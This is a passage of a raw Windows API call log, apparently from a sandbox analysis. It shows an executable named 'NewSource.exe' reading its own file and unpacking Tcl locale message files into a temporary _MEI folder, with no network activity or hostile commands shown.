(lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pe.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pe.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.250] GetFileType (hFile=0x10c) returned 0x1 [0037.250] htonl (hostlong=0xfb000000) returned 0xfb [0037.250] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.250] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.251] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.251] CloseHandle (hObject=0x10c) returned 1 [0037.253] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.253] htonl (hostlong=0x30000000) returned 0x30 [0037.253] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.253] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.253] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.253] GetFileType (hFile=0x10c) returned 0x1 [0037.253] htonl (hostlong=0x67535700) returned 0x575367 [0037.253] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0367, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.253] htonl (hostlong=0x9f000000) returned 0x9f [0037.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.254] htonl (hostlong=0x9f000000) returned 0x9f [0037.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.254] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.254] htonl (hostlong=0xfb000000) returned 0xfb [0037.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.254] htonl (hostlong=0x9f000000) returned 0x9f [0037.254] htonl (hostlong=0xfb000000) returned 0xfb [0037.254] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.254] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.254] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.254] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.254] CloseHandle (hObject=0x10c) returned 1 [0037.254] GetLastError () returned 0x0 [0037.254] SetLastError (dwErrCode=0x0) [0037.254] GetLastError () returned 0x0 [0037.254] SetLastError (dwErrCode=0x0) [0037.254] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.254] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.254] GetFileType (hFile=0x10c) returned 0x1 [0037.254] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.254] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.254] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.254] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.254] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.254] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.254] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.255] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.255] CloseHandle (hObject=0x10c) returned 1 [0037.255] GetLastError () returned 0x0 [0037.255] SetLastError (dwErrCode=0x0) [0037.255] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.255] GetFileType (hFile=0x10c) returned 0x1 [0037.255] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.255] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.255] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.255] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.255] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.255] CloseHandle (hObject=0x10c) returned 1 [0037.255] GetLastError () returned 0x0 [0037.255] SetLastError (dwErrCode=0x0) [0037.255] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg") returned 64 [0037.255] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pr.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.255] GetLastError () returned 0x2 [0037.256] SetLastError (dwErrCode=0x2) [0037.256] GetLastError () returned 0x2 [0037.256] SetLastError (dwErrCode=0x2) [0037.256] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg", lpFilePart=0x0) returned 0x3f [0037.256] GetLastError () returned 0x2 [0037.256] SetLastError (dwErrCode=0x2) [0037.256] GetLastError () returned 0x2 [0037.256] SetLastError (dwErrCode=0x2) [0037.256] GetLastError () returned 0x2 [0037.256] SetLastError (dwErrCode=0x2) [0037.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg") returned 64 [0037.256] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.256] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_pr.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_pr.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.256] GetFileType (hFile=0x10c) returned 0x1 [0037.256] htonl (hostlong=0xfb000000) returned 0xfb [0037.256] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.256] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.257] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.257] CloseHandle (hObject=0x10c) returned 1 [0037.258] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.258] htonl (hostlong=0x30000000) returned 0x30 [0037.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.258] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.258] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.258] GetFileType (hFile=0x10c) returned 0x1 [0037.258] htonl (hostlong=0x6545700) returned 0x575406 [0037.258] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c0406, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.258] htonl (hostlong=0xa0000000) returned 0xa0 [0037.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xa0) returned 0x55cfe0 [0037.258] htonl (hostlong=0xa0000000) returned 0xa0 [0037.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.258] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.258] htonl (hostlong=0xfb000000) returned 0xfb [0037.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.258] htonl (hostlong=0xa0000000) returned 0xa0 [0037.258] htonl (hostlong=0xfb000000) returned 0xfb [0037.258] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.259] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.259] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.259] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.259] CloseHandle (hObject=0x10c) returned 1 [0037.259] GetLastError () returned 0x0 [0037.259] SetLastError (dwErrCode=0x0) [0037.259] GetLastError () returned 0x0 [0037.259] SetLastError (dwErrCode=0x0) [0037.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.259] GetFileType (hFile=0x10c) returned 0x1 [0037.259] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.259] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.259] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.259] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.259] CloseHandle (hObject=0x10c) returned 1 [0037.259] GetLastError () returned 0x0 [0037.259] SetLastError (dwErrCode=0x0) [0037.259] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs") returned 54 [0037.259] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.260] GetFileType (hFile=0x10c) returned 0x1 [0037.260] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.260] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.260] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.260] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.260] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.260] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.260] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.260] CloseHandle (hObject=0x10c) returned 1 [0037.260] GetLastError () returned 0x0 [0037.260] SetLastError (dwErrCode=0x0) [0037.260] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg") returned 64 [0037.260] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_py.msg"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0037.260] GetLastError () returned 0x2 [0037.260] SetLastError (dwErrCode=0x2) [0037.260] GetLastError () returned 0x2 [0037.260] SetLastError (dwErrCode=0x2) [0037.260] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg", lpFilePart=0x0) returned 0x3f [0037.260] GetLastError () returned 0x2 [0037.260] SetLastError (dwErrCode=0x2) [0037.260] GetLastError () returned 0x2 [0037.260] SetLastError (dwErrCode=0x2) [0037.260] GetLastError () returned 0x2 [0037.261] SetLastError (dwErrCode=0x2) [0037.261] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg") returned 64 [0037.261] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0037.261] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\msgs\\es_py.msg" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\msgs\\es_py.msg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.261] GetFileType (hFile=0x10c) returned 0x1 [0037.261] htonl (hostlong=0xfb000000) returned 0xfb [0037.261] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.261] WriteFile (in: hFile=0x10c, lpBuffer=0x55d270*, nNumberOfBytesToWrite=0xfb, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesWritten=0x4fcd6c*=0xfb, lpOverlapped=0x0) returned 1 [0037.262] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.262] CloseHandle (hObject=0x10c) returned 1 [0037.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0037.263] htonl (hostlong=0x30000000) returned 0x30 [0037.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0037.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0037.263] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0037.263] GetFileType (hFile=0x10c) returned 0x1 [0037.263] htonl (hostlong=0xa6545700) returned 0x5754a6 [0037.263] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5c04a6, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0037.263] htonl (hostlong=0x9f000000) returned 0x9f [0037.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9f) returned 0x55cfe0 [0037.263] htonl (hostlong=0x9f000000) returned 0x9f [0037.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x55d270 [0037.263] ReadFile (in: hFile=0x10c, lpBuffer=0x55d270, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x55d270*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0037.263] htonl (hostlong=0xfb000000) returned 0xfb [0037.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xfb) returned 0x550600 [0037.263] htonl (hostlong=0x9f000000) returned 0x9f [0037.263] htonl (hostlong=0xfb000000) returned 0xfb [0037.263] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x560088 [0037.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0037.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0037.263] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55d270 | out: hHeap=0x530000) returned 1 [0037.263] CloseHandle (hObject=0x10c) returned 1 [0037.263] GetLastError () returned 0x0 [0037.263] SetLastError (dwErrCode=0x0) [0037.263] GetLastError () returned 0x0 [0037.263] SetLastError (dwErrCode=0x0) [0037.263] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0037.264] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0037.264] GetFileType (hFile=0x10c) returned 0x1 [0037.264] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0037.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0037.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0037.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0037.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.264] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0037.264] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0037.264] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0037.264] CloseHandle (hObject=0x10c) returned 1 [0037.264] GetLastError () returned 0x0 [0037.264] SetLastError (dwErrCode=0x0) [0037.264] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, 